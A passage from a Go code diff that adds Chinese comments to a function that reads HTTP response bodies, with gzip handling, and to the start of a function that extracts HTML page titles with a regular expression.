读取HTTP响应体内容 func getRespBody(oResp *http.Response) ([]byte, error) { var body []byte + + // 处理gzip压缩的响应 if oResp.Header.Get("Content-Encoding") == "gzip" { gr, err := gzip.NewReader(oResp.Body) if err != nil { return nil, err } defer gr.Close() + + // 循环读取解压内容 for { buf := make([]byte, 1024) n, err := gr.Read(buf) @@ -192,6 +234,7 @@ func getRespBody(oResp *http.Response) ([]byte, error) { body = append(body, buf...) } } else { + // 直接读取未压缩的响应 raw, err := io.ReadAll(oResp.Body) if err != nil { return nil, err @@ -201,30 +244,41 @@ func getRespBody(oResp *http.Response) ([]byte, error) { return body, nil } +// gettitle 从HTML内容中提取网页标题 func gettitle(body []byte) (title string) { + // 使用正则表达式匹配title标签内容 re := regexp.MustCompile("(?ims)